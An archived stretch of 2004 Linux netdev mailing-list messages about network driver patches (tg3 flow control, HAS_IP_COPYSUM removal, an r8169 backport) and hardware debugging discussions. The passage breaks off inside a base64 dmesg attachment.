(8.12.10/8.12.10) with SMTP id i4PI2Thk021123; Tue, 25 May 2004 14:02:29 -0400 Date: Tue, 25 May 2004 11:01:59 -0700 From: "David S. Miller" To: Herbert Xu Cc: netdev@oss.sgi.com Subject: Re: [IPSEC] Update out-of-date comment in __xfrm_state_delete Message-Id: <20040525110159.07219230.davem@redhat.com> In-Reply-To: <20040525120016.GA15487@gondor.apana.org.au> References: <20040525120016.GA15487@gondor.apana.org.au> X-Mailer: Sylpheed version 0.9.10 (GTK+ 1.2.10; sparc-unknown-linux-gnu) X-Face: "_;p5u5aPsO,_Vsx"^v-pEq09'CU4&Dc1$fQExov$62l60cgCc%FnIwD=.UF^a>?5'9Kn[;433QFVV9M..2eN.@4ZWPGbdi<=?[:T>y?SD(R*-3It"Vj:)"dP Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 5325 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev On Tue, 25 May 2004 22:00:16 +1000 Herbert Xu wrote: > The comment at the end of __xfrm_state_delete no longer matches the > status quo. This patch brings it up-to-date again. Applied. From davem@redhat.com Tue May 25 11:19:54 2004 Received: with ECARTIS (v1.0.0; list netdev); Tue, 25 May 2004 11:19:57 -0700 (PDT) Received: from mx1.redhat.com (mx1.redhat.com [66.187.233.31]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i4PIJrgi002726 for ; Tue, 25 May 2004 11:19:54 -0700 Received: from int-mx1.corp.redhat.com (int-mx1.corp.redhat.com [172.16.52.254]) by mx1.redhat.com (8.12.10/8.12.10) with ESMTP id i4PHxgi5020509; Tue, 25 May 2004 13:59:42 -0400 Received: from devserv.devel.redhat.com (devserv.devel.redhat.com [172.16.58.1]) by int-mx1.corp.redhat.com (8.11.6/8.11.6) with ESMTP id i4PHxf022353; Tue, 25 May 2004 13:59:41 -0400 Received: from cheetah.davemloft.net (localhost.localdomain [127.0.0.1]) by devserv.devel.redhat.com (8.12.10/8.12.10) with SMTP id i4PHxbhk019977; Tue, 25 May 2004 13:59:37 -0400 Date: Tue, 25 May 2004 10:59:07 -0700 From: "David S. Miller" To: Stephen Hemminger Cc: taj@www.linux.org.uk, netdev@oss.sgi.com, bridge@osdl.org Subject: Re: [PATCH] update Documentation/networking/bridge.txt Message-Id: <20040525105907.1211ffe1.davem@redhat.com> In-Reply-To: <20040524144209.5449d829@dell_ss3.pdx.osdl.net> References: <20040524144209.5449d829@dell_ss3.pdx.osdl.net> X-Mailer: Sylpheed version 0.9.10 (GTK+ 1.2.10; sparc-unknown-linux-gnu) X-Face: "_;p5u5aPsO,_Vsx"^v-pEq09'CU4&Dc1$fQExov$62l60cgCc%FnIwD=.UF^a>?5'9Kn[;433QFVV9M..2eN.@4ZWPGbdi<=?[:T>y?SD(R*-3It"Vj:)"dP Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 5327 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev On Mon, 24 May 2004 14:42:09 -0700 Stephen Hemminger wrote: > Trent Jarvi noticed this. The file was out of date > with current web site and maintainer. Please apply to 2.4 and 2.6. Applied, thanks Stephen. From rl@hellgate.ch Tue May 25 12:11:35 2004 Received: with ECARTIS (v1.0.0; list netdev); Tue, 25 May 2004 12:11:38 -0700 (PDT) Received: from mail5.bluewin.ch (mail5.bluewin.ch [195.186.1.207]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i4PJBYgi004126 for ; Tue, 25 May 2004 12:11:34 -0700 Received: from k3.hellgate.ch (81.62.95.99) by mail5.bluewin.ch (Bluewin AG 7.0.028) id 40A46B2100168313; Tue, 25 May 2004 19:11:16 +0000 Received: by k3.hellgate.ch (Postfix, from userid 1000) id 3AA735A3B01; Tue, 25 May 2004 21:11:16 +0200 (CEST) Date: Tue, 25 May 2004 21:11:16 +0200 From: Roger Luethi To: Jeff Garzik , Andrew Morton Cc: netdev@oss.sgi.com Subject: [PATCH 2.6] Nuke HAS_IP_COPYSUM for net drivers Message-ID: <20040525191115.GA18454@k3.hellgate.ch> Mime-Version: 1.0 Content-Type: multipart/mixed; boundary="liOOAslEiF7prFVr" Content-Disposition: inline X-Operating-System: Linux 2.6.6 on i686 X-GPG-Fingerprint: 92 F4 DC 20 57 46 7B 95 24 4E 9E E7 5A 54 DC 1B X-GPG: 1024/80E744BD wwwkeys.ch.pgp.net User-Agent: Mutt/1.5.6i X-archive-position: 5328 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: rl@hellgate.ch Precedence: bulk X-list: netdev --liOOAslEiF7prFVr Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Entirely untested, but Obviously Correct(TM). HAS_IP_COPYSUM has been utterly meaningless for a long time. Respective patch for via-rhine follows once I know the state of its pending patches (which I wouldn't mind getting feedback on (hint, hint!)). Roger --liOOAslEiF7prFVr Content-Type: text/plain; charset=us-ascii Content-Disposition: attachment; filename="copysum-2.6.6.diff" diff -urp linux-2.6.6/drivers/net/epic100.c linux-2.6.6-patch/drivers/net/epic100.c --- linux-2.6.6/drivers/net/epic100.c 2004-04-04 05:37:06.000000000 +0200 +++ linux-2.6.6-patch/drivers/net/epic100.c 2004-05-25 20:45:55.273480945 +0200 @@ -1215,13 +1215,8 @@ static int epic_rx(struct net_device *de ep->rx_ring[entry].bufaddr, ep->rx_buf_sz, PCI_DMA_FROMDEVICE); -#if 1 /* HAS_IP_COPYSUM */ eth_copy_and_sum(skb, ep->rx_skbuff[entry]->tail, pkt_len, 0); skb_put(skb, pkt_len); -#else - memcpy(skb_put(skb, pkt_len), ep->rx_skbuff[entry]->tail, - pkt_len); -#endif pci_dma_sync_single_for_device(ep->pci_dev, ep->rx_ring[entry].bufaddr, ep->rx_buf_sz, diff -urp linux-2.6.6/drivers/net/natsemi.c linux-2.6.6-patch/drivers/net/natsemi.c --- linux-2.6.6/drivers/net/natsemi.c 2004-05-20 16:17:38.000000000 +0200 +++ linux-2.6.6-patch/drivers/net/natsemi.c 2004-05-25 20:51:58.171336667 +0200 @@ -1798,14 +1798,9 @@ static void netdev_rx(struct net_device np->rx_dma[entry], buflen, PCI_DMA_FROMDEVICE); -#if HAS_IP_COPYSUM eth_copy_and_sum(skb, np->rx_skbuff[entry]->tail, pkt_len, 0); skb_put(skb, pkt_len); -#else - memcpy(skb_put(skb, pkt_len), - np->rx_skbuff[entry]->tail, pkt_len); -#endif pci_dma_sync_single_for_device(np->pci_dev, np->rx_dma[entry], buflen, diff -urp linux-2.6.6/drivers/net/tulip/winbond-840.c linux-2.6.6-patch/drivers/net/tulip/winbond-840.c --- linux-2.6.6/drivers/net/tulip/winbond-840.c 2004-04-04 05:36:26.000000000 +0200 +++ linux-2.6.6-patch/drivers/net/tulip/winbond-840.c 2004-05-25 20:46:26.439782500 +0200 @@ -1292,14 +1292,8 @@ static int netdev_rx(struct net_device * pci_dma_sync_single_for_cpu(np->pci_dev,np->rx_addr[entry], np->rx_skbuff[entry]->len, PCI_DMA_FROMDEVICE); - /* Call copy + cksum if available. */ -#if HAS_IP_COPYSUM eth_copy_and_sum(skb, np->rx_skbuff[entry]->tail, pkt_len, 0); skb_put(skb, pkt_len); -#else - memcpy(skb_put(skb, pkt_len), np->rx_skbuff[entry]->tail, - pkt_len); -#endif pci_dma_sync_single_for_device(np->pci_dev,np->rx_addr[entry], np->rx_skbuff[entry]->len, PCI_DMA_FROMDEVICE); diff -urp linux-2.6.6/drivers/net/yellowfin.c linux-2.6.6-patch/drivers/net/yellowfin.c --- linux-2.6.6/drivers/net/yellowfin.c 2004-04-04 05:36:56.000000000 +0200 +++ linux-2.6.6-patch/drivers/net/yellowfin.c 2004-05-25 20:46:46.609742086 +0200 @@ -1201,13 +1201,8 @@ static int yellowfin_rx(struct net_devic break; skb->dev = dev; skb_reserve(skb, 2); /* 16 byte align the IP header */ -#if HAS_IP_COPYSUM eth_copy_and_sum(skb, rx_skb->tail, pkt_len, 0); skb_put(skb, pkt_len); -#else - memcpy(skb_put(skb, pkt_len), - rx_skb->tail, pkt_len); -#endif pci_dma_sync_single_for_device(yp->pci_dev, desc->addr, yp->rx_buf_sz, PCI_DMA_FROMDEVICE); --liOOAslEiF7prFVr-- From akepner@sgi.com Tue May 25 12:24:34 2004 Received: with ECARTIS (v1.0.0; list netdev); Tue, 25 May 2004 12:24:40 -0700 (PDT) Received: from omx2.sgi.com (mtvcafw.sgi.com [192.48.171.6]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i4PJOYgi007928 for ; Tue, 25 May 2004 12:24:34 -0700 Received: from cthulhu.engr.sgi.com (cthulhu.engr.sgi.com [192.26.80.2]) by omx2.sgi.com (8.12.11/8.12.9/linux-outbound_gateway-1.1) with ESMTP id i4PJTaVn010223 for ; Tue, 25 May 2004 12:29:36 -0700 Received: from neteng.engr.sgi.com (neteng.engr.sgi.com [192.26.80.10]) by cthulhu.engr.sgi.com (SGI-8.12.5/8.12.5) with ESMTP id i4PJOTl711053469; Tue, 25 May 2004 12:24:29 -0700 (PDT) Date: Tue, 25 May 2004 12:20:05 -0700 From: Arthur Kepner X-X-Sender: akepner@neteng.engr.sgi.com To: "David S. Miller" cc: netdev@oss.sgi.com Subject: [PATCH] tg3 h/w flow control autoneg In-Reply-To: <20040525105101.2da85469.davem@redhat.com> Message-ID: References: <20040524072657.GC27177@sgi.com> <20040524004045.58b3eb44.davem@redhat.com> <20040524080431.GD27177@sgi.com> <20040524100634.1349295d.davem@redhat.com> <20040525010434.GA31134@sgi.com> <20040525105101.2da85469.davem@redhat.com> MIME-Version: 1.0 Content-Type: MULTIPART/MIXED; BOUNDARY="-1072017398-1172901112-1085512805=:9934718" X-archive-position: 5329 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: akepner@sgi.com Precedence: bulk X-list: netdev This message is in MIME format. The first part should be readable text, while the remaining parts are likely unreadable without MIME-aware tools. Send mail to mime@docserver.cac.washington.edu for more info. ---1072017398-1172901112-1085512805=:9934718 Content-Type: TEXT/PLAIN; charset=US-ASCII We found that packets were mysteriously being discarded by our Broadcom 570X hardware under heavy receive load. This occurred especially when multiple NICs were in use. The problem turned out to be that h/w flow control wasn't being used, even after that should have been autonegotiated. The attached patch (against 2.6.6) fixes that. -- Arthur ---1072017398-1172901112-1085512805=:9934718 Content-Type: TEXT/PLAIN; charset=US-ASCII; name="autoneg.patch" Content-Transfer-Encoding: BASE64 Content-ID: Content-Description: tg3 h/w flow control autoneg patch Content-Disposition: attachment; filename="autoneg.patch" LS0tIGxpbnV4Lm9yaWcvZHJpdmVycy9uZXQvdGczLmMJMjAwNC0wNS0yNSAx MToyNjowMy4wMDAwMDAwMDAgLTA3MDANCisrKyBsaW51eC0yLjYuNi9kcml2 ZXJzL25ldC90ZzMuYwkyMDA0LTA1LTI1IDExOjM4OjEzLjAwMDAwMDAwMCAt MDcwMA0KQEAgLTEwMjcsNiArMTAyNyw4IEBADQogc3RhdGljIHZvaWQgdGcz X3NldHVwX2Zsb3dfY29udHJvbChzdHJ1Y3QgdGczICp0cCwgdTMyIGxvY2Fs X2FkdiwgdTMyIHJlbW90ZV9hZHYpDQogew0KIAl1MzIgbmV3X3RnM19mbGFn cyA9IDA7DQorCXUzMiBvbGRfcnhfbW9kZSA9IHRwLT5yeF9tb2RlOw0KKwl1 MzIgb2xkX3R4X21vZGUgPSB0cC0+dHhfbW9kZTsNCiANCiAJaWYgKGxvY2Fs X2FkdiAmIEFEVkVSVElTRV9QQVVTRV9DQVApIHsNCiAJCWlmIChsb2NhbF9h ZHYgJiBBRFZFUlRJU0VfUEFVU0VfQVNZTSkgew0KQEAgLTEwNTcsMTAgKzEw NTksMTggQEANCiAJZWxzZQ0KIAkJdHAtPnJ4X21vZGUgJj0gflJYX01PREVf RkxPV19DVFJMX0VOQUJMRTsNCiANCisJaWYgKG9sZF9yeF9tb2RlICE9IHRw LT5yeF9tb2RlKSB7DQorCQl0dzMyX2YoTUFDX1JYX01PREUsIHRwLT5yeF9t b2RlKTsNCisJfQ0KKwkNCiAJaWYgKG5ld190ZzNfZmxhZ3MgJiBURzNfRkxB R19UWF9QQVVTRSkNCiAJCXRwLT50eF9tb2RlIHw9IFRYX01PREVfRkxPV19D VFJMX0VOQUJMRTsNCiAJZWxzZQ0KIAkJdHAtPnR4X21vZGUgJj0gflRYX01P REVfRkxPV19DVFJMX0VOQUJMRTsNCisNCisJaWYgKG9sZF90eF9tb2RlICE9 IHRwLT50eF9tb2RlKSB7DQorCQl0dzMyX2YoTUFDX1RYX01PREUsIHRwLT50 eF9tb2RlKTsNCisJfQ0KIH0NCiANCiBzdGF0aWMgdm9pZCB0ZzNfYXV4X3N0 YXRfdG9fc3BlZWRfZHVwbGV4KHN0cnVjdCB0ZzMgKnRwLCB1MzIgdmFsLCB1 MTYgKnNwZWVkLCB1OCAqZHVwbGV4KQ0K ---1072017398-1172901112-1085512805=:9934718-- From davem@redhat.com Tue May 25 13:02:30 2004 Received: with ECARTIS (v1.0.0; list netdev); Tue, 25 May 2004 13:02:32 -0700 (PDT) Received: from mx1.redhat.com (mx1.redhat.com [66.187.233.31]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i4PK2Tgi008650 for ; Tue, 25 May 2004 13:02:30 -0700 Received: from int-mx1.corp.redhat.com (int-mx1.corp.redhat.com [172.16.52.254]) by mx1.redhat.com (8.12.10/8.12.10) with ESMTP id i4PK2Ti5029350; Tue, 25 May 2004 16:02:29 -0400 Received: from devserv.devel.redhat.com (devserv.devel.redhat.com [172.16.58.1]) by int-mx1.corp.redhat.com (8.11.6/8.11.6) with ESMTP id i4PK2T007539; Tue, 25 May 2004 16:02:29 -0400 Received: from cheetah.davemloft.net (localhost.localdomain [127.0.0.1]) by devserv.devel.redhat.com (8.12.10/8.12.10) with SMTP id i4PK2Ohk018644; Tue, 25 May 2004 16:02:25 -0400 Date: Tue, 25 May 2004 13:01:53 -0700 From: "David S. Miller" To: Arthur Kepner Cc: netdev@oss.sgi.com Subject: Re: [PATCH] tg3 h/w flow control autoneg Message-Id: <20040525130153.49af3d78.davem@redhat.com> In-Reply-To: References: <20040524072657.GC27177@sgi.com> <20040524004045.58b3eb44.davem@redhat.com> <20040524080431.GD27177@sgi.com> <20040524100634.1349295d.davem@redhat.com> <20040525010434.GA31134@sgi.com> <20040525105101.2da85469.davem@redhat.com> X-Mailer: Sylpheed version 0.9.10 (GTK+ 1.2.10; sparc-unknown-linux-gnu) X-Face: "_;p5u5aPsO,_Vsx"^v-pEq09'CU4&Dc1$fQExov$62l60cgCc%FnIwD=.UF^a>?5'9Kn[;433QFVV9M..2eN.@4ZWPGbdi<=?[:T>y?SD(R*-3It"Vj:)"dP Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 5330 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev On Tue, 25 May 2004 12:20:05 -0700 Arthur Kepner wrote: > The problem turned out to be that h/w flow control wasn't > being used, even after that should have been autonegotiated. > The attached patch (against 2.6.6) fixes that. What an embarassing bug. Patch applied, good spotting Arthur. From mchan@broadcom.com Tue May 25 13:04:58 2004 Received: with ECARTIS (v1.0.0; list netdev); Tue, 25 May 2004 13:05:00 -0700 (PDT) Received: from mms1.broadcom.com (mms1.broadcom.com [63.70.210.58]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i4PK4vgi009008 for ; Tue, 25 May 2004 13:04:57 -0700 Received: from 63.70.210.1 by mms1.broadcom.com with ESMTP (Broadcom SMTP Relay (MMS v5.6.0)); Tue, 25 May 2004 13:04:25 -0700 X-Server-Uuid: 97B92932-364A-4474-92D6-5CFE9C59AD14 Received: from nt-irva-0741.brcm.ad.broadcom.com ( nt-irva-0741.brcm.ad.broadcom.com [10.8.194.54]) by mon-irva-11.broadcom.com (8.9.1/8.9.1) with ESMTP id NAA09214; Tue, 25 May 2004 13:03:50 -0700 (PDT) X-MimeOLE: Produced By Microsoft Exchange V6.5.6944.0 Content-class: urn:content-classes:message MIME-Version: 1.0 Subject: RE: [PATCH] fix BUG in tg3_tx Date: Tue, 25 May 2004 13:04:24 -0700 Message-ID: Thread-Topic: [PATCH] fix BUG in tg3_tx Thread-Index: AcRCgPzxVZzGXIEhR/OrxdoF9vcG8wADxr2w From: "Michael Chan" To: "David S. Miller" , "Greg Banks" cc: netdev@oss.sgi.com X-WSS-ID: 6CAD79432QW538673-01-01 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by oss.sgi.com id i4PK4vgi009008 X-archive-position: 5331 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: mchan@broadcom.com Precedence: bulk X-list: netdev > Greg, did you see Micahel Chan's response? A Broadcom > engineer is telling us "the hardware does not ACK partial TX packets." > That's right. The hw is designed to always complete tx packets on packet boundaries and not BD boundaries. The send data completion state machine will create 1 single dma descriptor and 1 host coalescing descriptor for the entire packet. All of our drivers do not handle individual BD completions and I'm not aware of any problems caused by this. Actually we did see some partial packet completions during the early implementions of TSO/LSO. But those were firmware issues and have been fixed long time ago. tg3 is not using those early TSO firmware. > I don't argue that you aren't seeing something strange, but > perhaps that is due to corruption occuring elsewhere, or > perhaps something peculiar about your system hardware > (perhaps the PCI controller mis-orders PCI transactions or > something silly like that)? Good point. A few years ago we saw cases where there were tx completions on BDs that had not been sent. It turned out that on that machine, the chipset was re-ordering the posted mmio writes to the send mailbox register from 2 CPUs. For example, CPU 1 wrote index 1 and CPU wrote index 2 a little later. On the PCI bus, we saw memory write of 2 followed by 1. When the chip saw 2, it would send both packets. When it later saw 1, it thought that there were 512 new tx BDs and went ahead to send them. The only effective workaround for this chipset problem was a read of the send mailbox after the write to flush it. Michael From romieu@fr.zoreil.com Tue May 25 16:37:21 2004 Received: with ECARTIS (v1.0.0; list netdev); Tue, 25 May 2004 16:37:26 -0700 (PDT) Received: from fr.zoreil.com (electric-eye.fr.zoreil.com [213.41.134.224]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i4PNbJgi019584 for ; Tue, 25 May 2004 16:37:20 -0700 Received: from electric-eye.fr.zoreil.com (localhost.localdomain [127.0.0.1]) by fr.zoreil.com (8.12.8/8.12.1) with ESMTP id i4PNXouX025413; Wed, 26 May 2004 01:33:50 +0200 Received: (from romieu@localhost) by electric-eye.fr.zoreil.com (8.12.8/8.12.1) id i4PNXonC025412; Wed, 26 May 2004 01:33:50 +0200 Date: Wed, 26 May 2004 01:33:49 +0200 From: Francois Romieu To: netdev@oss.sgi.com Cc: jgarzik@pobox.com, Johannes Petersson Subject: [patch] 2.4.27-pre3 - r8169 backport Message-ID: <20040526013349.A25318@electric-eye.fr.zoreil.com> References: <20040525011811.C3940@electric-eye.fr.zoreil.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5.1i In-Reply-To: <20040525011811.C3940@electric-eye.fr.zoreil.com>; from romieu@fr.zoreil.com on Tue, May 25, 2004 at 01:18:11AM +0200 X-Organisation: Land of Sunshine Inc. X-archive-position: 5332 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: romieu@fr.zoreil.com Precedence: bulk X-list: netdev The backport against 2.4.27-pre3 of the latest 2.6.x changes (2.6.7-rc1) is available for testing. Testers/comments welcome. Single patch against 2.4.27-pre3 http://www.fr.zoreil.com/people/francois/misc/20040526-2.4.27-pre3-r8169.c-test.patch Individual files: http://www.fr.zoreil.com/linux/kernel/2.4.x/2.4.27-pre3/ Tarball: http://www.fr.zoreil.com/linux/kernel/2.4.x/2.4.27-pre3/r8169-blob.tar.bz2 -- Ueimor From gnb@speed.melbourne.sgi.com Tue May 25 17:12:37 2004 Received: with ECARTIS (v1.0.0; list netdev); Tue, 25 May 2004 17:12:39 -0700 (PDT) Received: from omx2.sgi.com (mtvcafw.sgi.com [192.48.171.6]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i4Q0Cagi020787 for ; Tue, 25 May 2004 17:12:37 -0700 Received: from larry.melbourne.sgi.com (larry.melbourne.sgi.com [134.14.52.130]) by omx2.sgi.com (8.12.11/8.12.9/linux-outbound_gateway-1.1) with SMTP id i4Q0HYik019096 for ; Tue, 25 May 2004 17:17:35 -0700 Received: from speed.melbourne.sgi.com (speed.melbourne.sgi.com [134.14.55.174]) by larry.melbourne.sgi.com (950413.SGI.8.6.12/950213.SGI.AUTOCF) via ESMTP id KAA01957; Wed, 26 May 2004 10:12:18 +1000 Received: by speed.melbourne.sgi.com (Postfix, from userid 16345) id D319357980; Wed, 26 May 2004 10:12:17 +1000 (EST) Date: Wed, 26 May 2004 10:12:17 +1000 From: Greg Banks To: "David S. Miller" Cc: netdev@oss.sgi.com, mchan@broadcom.com Subject: Re: [PATCH] fix BUG in tg3_tx Message-ID: <20040526001217.GA2689@sgi.com> References: <20040524072657.GC27177@sgi.com> <20040524004045.58b3eb44.davem@redhat.com> <20040524080431.GD27177@sgi.com> <20040524100634.1349295d.davem@redhat.com> <20040525010434.GA31134@sgi.com> <20040525105101.2da85469.davem@redhat.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20040525105101.2da85469.davem@redhat.com> User-Agent: Mutt/1.3.27i X-archive-position: 5333 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: gnb@sgi.com Precedence: bulk X-list: netdev On Tue, May 25, 2004 at 10:51:01AM -0700, David S. Miller wrote: > On Tue, 25 May 2004 11:04:34 +1000 > Greg Banks wrote: > > > I agree that this code appears to implictly rely on always getting > > complete send ring updates. > > Greg, did you see Micahel Chan's response? A Broadcom engineer > is telling us "the hardware does not ACK partial TX packets." Yes I did. I've been working towards gathering data for a reply. > I can't think of a more reliable source for this kind of information, > can you? I can think of one: actual observation of the card in action in the field. Experiment trumps theory. To this end, I instrumented the driver + my patch to BUG() out if the tx_ring_info.index is not a predicted value, i.e. if the tg3_tx() ever starts partway through a packet. It's been running overnight under >200 MB/s of NFS read load, nothing yet. > I don't argue that you aren't seeing something strange, but perhaps > that is due to corruption occuring elsewhere, or perhaps something > peculiar about your system hardware (perhaps the PCI controller > mis-orders PCI transactions or something silly like that)? There are many things peculiar about our hardware. Otherwise we'd be "the world stops at 4 processors" Dell. > Have you reproduced this on some system other than these huge SGI > ones? I haven't tried; my job is first and foremost to make SGI hardware work. However I did point you to a report on lkml where someone on non-SGI hardware has seen what appears to be the same problem. I'm not yet willing to consign this to the "wacky SGI PCI hardware" bucket. Greg. -- Greg Banks, R&D Software Engineer, SGI Australian Software Group. I don't speak for SGI. From ray_cole@earthlink.net Tue May 25 17:43:37 2004 Received: with ECARTIS (v1.0.0; list netdev); Tue, 25 May 2004 17:43:44 -0700 (PDT) Received: from turkey.mail.pas.earthlink.net (turkey.mail.pas.earthlink.net [207.217.120.126]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i4Q0hbgi021600 for ; Tue, 25 May 2004 17:43:37 -0700 Received: from hh1120001.direcpc.com ([206.71.120.1] helo=proxyplus.universe) by turkey.mail.pas.earthlink.net with esmtp (Exim 3.33 #1) id 1BSmVw-0001yR-00; Tue, 25 May 2004 17:43:26 -0700 Received: from localhost.localdomain [192.168.0.2] by Proxy+; Tue, 25 May 2004 19:10:37 -0500 for multiple recipients Date: Tue, 25 May 2004 19:10:36 -0500 From: Ray Cole To: Francois Romieu Cc: netdev@oss.sgi.com Subject: Re: r8169 driver in 2.6.6 Message-Id: <20040525191036.33f6b01e.ray_cole@earthlink.net> In-Reply-To: <20040525091915.A12162@electric-eye.fr.zoreil.com> References: <20040524210148.2172d684.ray_cole@earthlink.net> <20040525091915.A12162@electric-eye.fr.zoreil.com> X-Mailer: Sylpheed version 0.7.4 (GTK+ 1.2.10; i686-pc-linux-gnu) Mime-Version: 1.0 Content-Type: multipart/mixed; boundary="Multipart_Tue__25_May_2004_19:10:36_-0500_081ffda0" X-archive-position: 5334 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: ray_cole@earthlink.net Precedence: bulk X-list: netdev This is a multi-part message in MIME format. --Multipart_Tue__25_May_2004_19:10:36_-0500_081ffda0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Got the answer to the rest of the questions: > - lspci -vx output Attached (lspci.txt). > - dmesg after boot and insertion of the module (usually a combination of Attached (2_6_6_noacpi.txt) > - lsmod output No modules are loaded. The only thing I build as a module is bttv, which I am not loading during this test. > - /proc/interrupts contents before/after foobar Before: 0: 352717 XT-PIC timer 1: 1492 XT-PIC i8042 2: 0 XT-PIC cascade 3: 2786 XT-PIC ohci_hcd 4: 0 XT-PIC ohci_hcd 5: 0 XT-PIC NVidia nForce2 8: 1 XT-PIC rtc 11: 281 XT-PIC eth0 14: 122 XT-PIC ide0 15: 7967 XT-PIC ide1 NMI: 0 LOC: 352666 ERR: 245145 After: CPU0 0: 374011 XT-PIC timer 1: 1680 XT-PIC i8042 2: 0 XT-PIC cascade 3: 3034 XT-PIC ohci_hcd 4: 0 XT-PIC ohci_hcd 5: 0 XT-PIC NVidia nForce2 8: 1 XT-PIC rtc 11: 319 XT-PIC eth0 14: 122 XT-PIC ide0 15: 7974 XT-PIC ide1 NMI: 0 LOC: 373960 ERR: 261207 BTW, ERR increments even without r8169 loaded even on 2.6.6 using r8169.c from 2.6.5 (which is a stable configuration). Seems to increment on the same order as 'timer'. > - which (if any) was the latest known working kernel, be it 2.4.x or > 2.6.x Only combination I can get to work is 2.6.6 or 2.6.7-rc1 with 2.6.5's r8169.c, or 2.6.5 with a fixup patch for nForce2 that is also in 2.6.6. > - which distribution/compiler ? gcc 2.95.3. Originally RedHat 8.0, upgraded to 2.6 of the kernel. > - does it still fail if you do a simple 'ping' for an extended period of > time instead of pop (same thing with lengthy ftp/http transfer, say a > file of a few megs) ? No. It remains down until I do 'ifconfig eth0 down' and 'ifconfig eth0 up'. Then it works again for a little while, then back down again. > - disable ACPI (acpi=none on the boot cmd line, do not confuse it with > APIC) Tried. Attached dmesg output, however, shows acpi to still be active...content of /proc/cmdline: BOOT_IMAGE=2.6.6 root=1603 noacpi pci=noacpi acpi=none > - PREEMPT may change a few things though it is less on the radar than > ACPI No impact. > - > http://www.fr.zoreil.com/people/francois/misc/20040525-2.6.7-rc1-r8169.c-test.patch > applied on 2.6.6 (some link related things may come into play but I am > a bit sceptical) Will try it out. > - as the system does not hang (only the network trafic), can you see if > it makes a difference if you > - ifconfig down/up the network card ? Yes. down/up brings it up again for a short period of time. > - same thing + removal/insertion of the driver ? I haven't built it as a module. > - unplug/plug again the cable (wait for 10~15 seconds then) ? No. This does not cause it to work again. -- Ray --Multipart_Tue__25_May_2004_19:10:36_-0500_081ffda0 Content-Type: text/plain; name="2_6_6_noacpi.txt" Content-Disposition: attachment; filename="2_6_6_noacpi.txt" Content-Transfer-Encoding: base64 TGludXggdmVyc2lvbiAyLjYuNiAocm9vdEBsb2NhbGhvc3QubG9jYWxkb21haW4pIChnY2MgdmVy c2lvbiAyLjk1LjMgMjAwMTAzMTUgKHJlbGVhc2UpKSAjMSBUdWUgTWF5IDI1IDE4OjU0OjQxIENE VCAyMDA0CkJJT1MtcHJvdmlkZWQgcGh5c2ljYWwgUkFNIG1hcDoKIEJJT1MtZTgyMDogMDAwMDAw MDAwMDAwMDAwMCAtIDAwMDAwMDAwMDAwOWZjMDAgKHVzYWJsZSkKIEJJT1MtZTgyMDogMDAwMDAw MDAwMDA5ZmMwMCAtIDAwMDAwMDAwMDAwYTAwMDAgKHJlc2VydmVkKQogQklPUy1lODIwOiAwMDAw MDAwMDAwMGYwMDAwIC0gMDAwMDAwMDAwMDEwMDAwMCAocmVzZXJ2ZWQpCiBCSU9TLWU4MjA6IDAw MDAwMDAwMDAxMDAwMDAgLSAwMDAwMDAwMDFmZmYwMDAwICh1c2FibGUpCiBCSU9TLWU4MjA6IDAw MDAwMDAwMWZmZjAwMDAgLSAwMDAwMDAwMDFmZmYzMDAwIChBQ1BJIE5WUykKIEJJT1MtZTgyMDog MDAwMDAwMDAxZmZmMzAwMCAtIDAwMDAwMDAwMjAwMDAwMDAgKEFDUEkgZGF0YSkKIEJJT1MtZTgy MDogMDAwMDAwMDBmZWMwMDAwMCAtIDAwMDAwMDAwZmVjMDEwMDAgKHJlc2VydmVkKQogQklPUy1l ODIwOiAwMDAwMDAwMGZlZTAwMDAwIC0gMDAwMDAwMDBmZWUwMTAwMCAocmVzZXJ2ZWQpCiBCSU9T LWU4MjA6IDAwMDAwMDAwZmZmZjAwMDAgLSAwMDAwMDAwMTAwMDAwMDAwIChyZXNlcnZlZCkKNTEx TUIgTE9XTUVNIGF2YWlsYWJsZS4KZm91bmQgU01QIE1QLXRhYmxlIGF0IDAwMGY1MmUwCk9uIG5v 